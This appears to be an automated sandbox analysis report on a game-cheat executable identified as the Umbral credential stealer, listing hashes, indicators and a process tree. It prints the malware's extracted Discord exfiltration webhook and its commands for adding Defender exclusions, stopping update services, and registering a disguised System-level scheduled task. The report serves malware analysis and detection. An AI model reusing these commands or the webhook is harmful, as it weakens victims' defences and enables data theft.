umbral | a85235b38f90be244eb57d131951ff69a562714221d640ab9da0480af4aed06c

Analysis

max time kernel
23s
max time network
81s
platform
windows10-2004_x64
resource
win10v2004-20230703-en
resource tags

arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system
submitted
21/08/2023, 15:29

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General

Target

Cheat_by_DioZ.exe
Size

15.3MB
MD5

7e8d421582aacc3651a5f8ae391e4605
SHA1

0cff4ece5e75a5dc0c5e6076ad782ecf42ad7c16
SHA256

a85235b38f90be244eb57d131951ff69a562714221d640ab9da0480af4aed06c
SHA512

7eb24ed0bddb9a681c231c92c50b52015b09466262dbdf1c1e47219f4fe76cff9adf65860d2c03cf61e8d4e7aa7ee46a7a81464773c56a81fee4a2ebec8192f1
SSDEEP

196608:0KMurhe046YIw782LRg5lA7B+juGhgdKDW/vDhoOocQ4cfVqwc7Mzg:0hurhf4Qm8MR8gwRh+n/lvoPDc70

Score

10^/10

umbral evasion stealer

Malware Config

Extracted

Family

umbral

https://discord.com/api/webhooks/1143115606330200074/pyKgc8H0hMiolN7TnRv_a5UZxMEV9hMyMPcyMEE79xLCjkKRbFA2ce8qYJuxmfb_M-83

Signatures

Detect Umbral payload 5 IoCs

resource	yara_rule
behavioral2/memory/1984-133-0x0000000000400000-0x000000000135C000-memory.dmp	family_umbral
behavioral2/files/0x00080000000231ff-138.dat	family_umbral
behavioral2/files/0x00080000000231ff-191.dat	family_umbral
behavioral2/files/0x00080000000231ff-192.dat	family_umbral
behavioral2/memory/1084-195-0x00000215A7830000-0x00000215A7870000-memory.dmp	family_umbral

Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs

description	pid	Process	procid_target
PID 1844 created 408	1844	MS.exe	36
PID 1844 created 408	1844	MS.exe	36
PID 1844 created 408	1844	MS.exe	36
PID 1844 created 408	1844	MS.exe	36
PID 1844 created 408	1844	MS.exe	36

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\drivers\etc\hosts	MS.exe

Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Executes dropped EXE 2 IoCs

pid	Process
1084	3S.exe
1844	MS.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1844 set thread context of 968	1844	MS.exe	103

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
432	sc.exe
1628	sc.exe
1324	sc.exe
4976	sc.exe
2896	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3520	1020	WerFault.exe	8

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	Cheat_by_DioZ.exe

Suspicious behavior: EnumeratesProcesses 16 IoCs

pid	Process
1844	MS.exe
1844	MS.exe
428	powershell.exe
428	powershell.exe
1844	MS.exe
1844	MS.exe
1844	MS.exe
1844	MS.exe
1844	MS.exe
1844	MS.exe
1844	MS.exe
1844	MS.exe
968	dialer.exe
968	dialer.exe
968	dialer.exe
5020	powershell.exe

Suspicious use of AdjustPrivilegeToken 46 IoCs

description	pid	Process
Token: SeDebugPrivilege	1084	3S.exe
Token: SeIncreaseQuotaPrivilege	4980	wmic.exe
Token: SeSecurityPrivilege	4980	wmic.exe
Token: SeTakeOwnershipPrivilege	4980	wmic.exe
Token: SeLoadDriverPrivilege	4980	wmic.exe
Token: SeSystemProfilePrivilege	4980	wmic.exe
Token: SeSystemtimePrivilege	4980	wmic.exe
Token: SeProfSingleProcessPrivilege	4980	wmic.exe
Token: SeIncBasePriorityPrivilege	4980	wmic.exe
Token: SeCreatePagefilePrivilege	4980	wmic.exe
Token: SeBackupPrivilege	4980	wmic.exe
Token: SeRestorePrivilege	4980	wmic.exe
Token: SeShutdownPrivilege	4980	wmic.exe
Token: SeDebugPrivilege	4980	wmic.exe
Token: SeSystemEnvironmentPrivilege	4980	wmic.exe
Token: SeRemoteShutdownPrivilege	4980	wmic.exe
Token: SeUndockPrivilege	4980	wmic.exe
Token: SeManageVolumePrivilege	4980	wmic.exe
Token: 33	4980	wmic.exe
Token: 34	4980	wmic.exe
Token: 35	4980	wmic.exe
Token: 36	4980	wmic.exe
Token: SeIncreaseQuotaPrivilege	4980	wmic.exe
Token: SeSecurityPrivilege	4980	wmic.exe
Token: SeTakeOwnershipPrivilege	4980	wmic.exe
Token: SeLoadDriverPrivilege	4980	wmic.exe
Token: SeSystemProfilePrivilege	4980	wmic.exe
Token: SeSystemtimePrivilege	4980	wmic.exe
Token: SeProfSingleProcessPrivilege	4980	wmic.exe
Token: SeIncBasePriorityPrivilege	4980	wmic.exe
Token: SeCreatePagefilePrivilege	4980	wmic.exe
Token: SeBackupPrivilege	4980	wmic.exe
Token: SeRestorePrivilege	4980	wmic.exe
Token: SeShutdownPrivilege	4980	wmic.exe
Token: SeDebugPrivilege	4980	wmic.exe
Token: SeSystemEnvironmentPrivilege	4980	wmic.exe
Token: SeRemoteShutdownPrivilege	4980	wmic.exe
Token: SeUndockPrivilege	4980	wmic.exe
Token: SeManageVolumePrivilege	4980	wmic.exe
Token: 33	4980	wmic.exe
Token: 34	4980	wmic.exe
Token: 35	4980	wmic.exe
Token: 36	4980	wmic.exe
Token: SeDebugPrivilege	428	powershell.exe
Token: SeDebugPrivilege	968	dialer.exe
Token: SeDebugPrivilege	5020	powershell.exe

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 1984 wrote to memory of 1084	1984	Cheat_by_DioZ.exe	83
PID 1984 wrote to memory of 1084	1984	Cheat_by_DioZ.exe	83
PID 1984 wrote to memory of 1844	1984	Cheat_by_DioZ.exe	84
PID 1984 wrote to memory of 1844	1984	Cheat_by_DioZ.exe	84
PID 1084 wrote to memory of 4980	1084	3S.exe	86
PID 1084 wrote to memory of 4980	1084	3S.exe	86
PID 4696 wrote to memory of 432	4696	cmd.exe	96
PID 4696 wrote to memory of 432	4696	cmd.exe	96
PID 4696 wrote to memory of 1628	4696	cmd.exe	97
PID 4696 wrote to memory of 1628	4696	cmd.exe	97
PID 4696 wrote to memory of 1324	4696	cmd.exe	98
PID 4696 wrote to memory of 1324	4696	cmd.exe	98
PID 4696 wrote to memory of 4976	4696	cmd.exe	99
PID 4696 wrote to memory of 4976	4696	cmd.exe	99
PID 4696 wrote to memory of 2896	4696	cmd.exe	100
PID 4696 wrote to memory of 2896	4696	cmd.exe	100
PID 1844 wrote to memory of 968	1844	MS.exe	103
PID 1156 wrote to memory of 2040	1156	cmd.exe	106
PID 1156 wrote to memory of 2040	1156	cmd.exe	106

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:408
- C:\Users\Admin\AppData\Local\Temp\Cheat_by_DioZ.exe
  "C:\Users\Admin\AppData\Local\Temp\Cheat_by_DioZ.exe"
  2⤵
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:1984
- - C:\Users\Admin\AppData\Local\Temp\3S.exe
    "C:\Users\Admin\AppData\Local\Temp\3S.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1084
  - - C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4980
- - C:\Users\Admin\AppData\Local\Temp\MS.exe
    "C:\Users\Admin\AppData\Local\Temp\MS.exe"
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Drops file in Drivers directory
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:1844
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:428
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4696
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:432
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:1628
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:1324
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:4976
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:2896
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1156
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    PID:2040
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    PID:4912
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    PID:2780
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    PID:1768
- C:\Windows\System32\dialer.exe
  C:\Windows\System32\dialer.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:968
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#cnxaozlt#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5020

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 460 -p 1020 -ip 1020
1⤵
PID:2060

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 1020 -s 3620
1⤵
- Program crash
PID:3520

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
d28a889fd956d5cb3accfbaf1143eb6f

SHA1
157ba54b365341f8ff06707d996b3635da8446f7

SHA256
21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

SHA512
0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

Download Submit
C:\Users\Admin\AppData\Local\Temp\3S.exe

Filesize
227KB

MD5
0c6f57e34c60e926869925974c0ba0c6

SHA1
c2c96e1a4da5fe008796801569ebdfcde4d3c07b

SHA256
3818bc71c250768baec123373d2e873428509f7dcef12a56f4d428d488661c71

SHA512
70281ccd28331260e0808d00a0965753e4f8d9c4b8a0e211abd97556429ad7cb3a647a017f53a8d111468639fe9c05e0022cb034f6069b6b9fff214d389ac193

Download Submit
C:\Users\Admin\AppData\Local\Temp\3S.exe

Filesize
227KB

MD5
0c6f57e34c60e926869925974c0ba0c6

SHA1
c2c96e1a4da5fe008796801569ebdfcde4d3c07b

SHA256
3818bc71c250768baec123373d2e873428509f7dcef12a56f4d428d488661c71

SHA512
70281ccd28331260e0808d00a0965753e4f8d9c4b8a0e211abd97556429ad7cb3a647a017f53a8d111468639fe9c05e0022cb034f6069b6b9fff214d389ac193

Download Submit
C:\Users\Admin\AppData\Local\Temp\3S.exe

Filesize
227KB

MD5
0c6f57e34c60e926869925974c0ba0c6

SHA1
c2c96e1a4da5fe008796801569ebdfcde4d3c07b

SHA256
3818bc71c250768baec123373d2e873428509f7dcef12a56f4d428d488661c71

SHA512
70281ccd28331260e0808d00a0965753e4f8d9c4b8a0e211abd97556429ad7cb3a647a017f53a8d111468639fe9c05e0022cb034f6069b6b9fff214d389ac193

Download Submit
C:\Users\Admin\AppData\Local\Temp\MS.exe

Filesize
9.9MB

MD5
ed1da88dca5699f9e01a7e4fa08be78c

SHA1
1cc67cbe8cf95217bd7f22a1e30702bf9d45e806

SHA256
9773bcd1383410649884abe2985277f4d51e839f6f49446d13ab67e0bd18f413

SHA512
4e5a80bbe65c90a25b6f7907acf269c46ddb0ad09ac859c806e03e3aa0854afcb4d08e1e4176b8dfe9b852b91f7bf1ab510f53ae6945b654083561ecc7a7e2ef

Download Submit
C:\Users\Admin\AppData\Local\Temp\MS.exe

Filesize
9.9MB

MD5
ed1da88dca5699f9e01a7e4fa08be78c

SHA1
1cc67cbe8cf95217bd7f22a1e30702bf9d45e806

SHA256
9773bcd1383410649884abe2985277f4d51e839f6f49446d13ab67e0bd18f413

SHA512
4e5a80bbe65c90a25b6f7907acf269c46ddb0ad09ac859c806e03e3aa0854afcb4d08e1e4176b8dfe9b852b91f7bf1ab510f53ae6945b654083561ecc7a7e2ef

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yfljcb2d.50m.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/428-261-0x0000024A72C20000-0x0000024A72C30000-memory.dmp

Filesize
64KB

Download
memory/428-274-0x00007FF9BE400000-0x00007FF9BEEC1000-memory.dmp

Filesize
10.8MB

Download
memory/428-271-0x0000024A72C20000-0x0000024A72C30000-memory.dmp

Filesize
64KB

Download
memory/428-258-0x0000024A72B90000-0x0000024A72BB2000-memory.dmp

Filesize
136KB

Download
memory/428-259-0x00007FF9BE400000-0x00007FF9BEEC1000-memory.dmp

Filesize
10.8MB

Download
memory/428-260-0x0000024A72C20000-0x0000024A72C30000-memory.dmp

Filesize
64KB

Download
memory/512-315-0x00007FF99C4F0000-0x00007FF99C500000-memory.dmp

Filesize
64KB

Download
memory/512-313-0x000001C550960000-0x000001C550987000-memory.dmp

Filesize
156KB

Download
memory/512-329-0x000001C550960000-0x000001C550987000-memory.dmp

Filesize
156KB

Download
memory/584-298-0x00007FF99C4F0000-0x00007FF99C500000-memory.dmp

Filesize
64KB

Download
memory/584-294-0x000001B1FBF60000-0x000001B1FBF81000-memory.dmp

Filesize
132KB

Download
memory/584-297-0x000001B1FBF90000-0x000001B1FBFB7000-memory.dmp

Filesize
156KB

Download
memory/584-319-0x00007FF9DC50C000-0x00007FF9DC50D000-memory.dmp

Filesize
4KB

Download
memory/584-318-0x00007FF9DC50F000-0x00007FF9DC510000-memory.dmp

Filesize
4KB

Download
memory/584-311-0x00007FF9DC50D000-0x00007FF9DC50E000-memory.dmp

Filesize
4KB

Download
memory/672-303-0x00007FF99C4F0000-0x00007FF99C500000-memory.dmp

Filesize
64KB

Download
memory/672-299-0x0000023819E70000-0x0000023819E97000-memory.dmp

Filesize
156KB

Download
memory/672-320-0x0000023819E70000-0x0000023819E97000-memory.dmp

Filesize
156KB

Download
memory/724-325-0x0000026032F90000-0x0000026032FB7000-memory.dmp

Filesize
156KB

Download
memory/724-328-0x00007FF99C4F0000-0x00007FF99C500000-memory.dmp

Filesize
64KB

Download
memory/944-306-0x000001FD4E1A0000-0x000001FD4E1C7000-memory.dmp

Filesize
156KB

Download
memory/944-310-0x00007FF99C4F0000-0x00007FF99C500000-memory.dmp

Filesize
64KB

Download
memory/944-321-0x000001FD4E1A0000-0x000001FD4E1C7000-memory.dmp

Filesize
156KB

Download
memory/968-278-0x00007FF9DADF0000-0x00007FF9DAEAE000-memory.dmp

Filesize
760KB

Download
memory/968-308-0x00007FF62B0A0000-0x00007FF62B0C9000-memory.dmp

Filesize
164KB

Download
memory/968-277-0x00007FF9DC470000-0x00007FF9DC665000-memory.dmp

Filesize
2.0MB

Download
memory/1020-323-0x000001468FA10000-0x000001468FA37000-memory.dmp

Filesize
156KB

Download
memory/1020-307-0x000001468FA10000-0x000001468FA37000-memory.dmp

Filesize
156KB

Download
memory/1020-326-0x00007FF9DC50D000-0x00007FF9DC50E000-memory.dmp

Filesize
4KB

Download
memory/1084-250-0x00007FF9BE400000-0x00007FF9BEEC1000-memory.dmp

Filesize
10.8MB

Download
memory/1084-195-0x00000215A7830000-0x00000215A7870000-memory.dmp

Filesize
256KB

Download
memory/1084-252-0x00000215A7C30000-0x00000215A7C40000-memory.dmp

Filesize
64KB

Download
memory/1084-256-0x00007FF9BE400000-0x00007FF9BEEC1000-memory.dmp

Filesize
10.8MB

Download
memory/1844-257-0x00007FF72B2B0000-0x00007FF72BCAD000-memory.dmp

Filesize
10.0MB

Download
memory/1844-302-0x00007FF72B2B0000-0x00007FF72BCAD000-memory.dmp

Filesize
10.0MB

Download
memory/1984-133-0x0000000000400000-0x000000000135C000-memory.dmp

Filesize
15.4MB

Download
memory/5020-280-0x00007FF9BE400000-0x00007FF9BEEC1000-memory.dmp

Filesize
10.8MB

Download
memory/5020-293-0x000001B327100000-0x000001B327110000-memory.dmp

Filesize
64KB

Download
memory/5020-281-0x000001B327100000-0x000001B327110000-memory.dmp

Filesize
64KB

Download
memory/5020-282-0x000001B327100000-0x000001B327110000-memory.dmp

Filesize
64KB

Download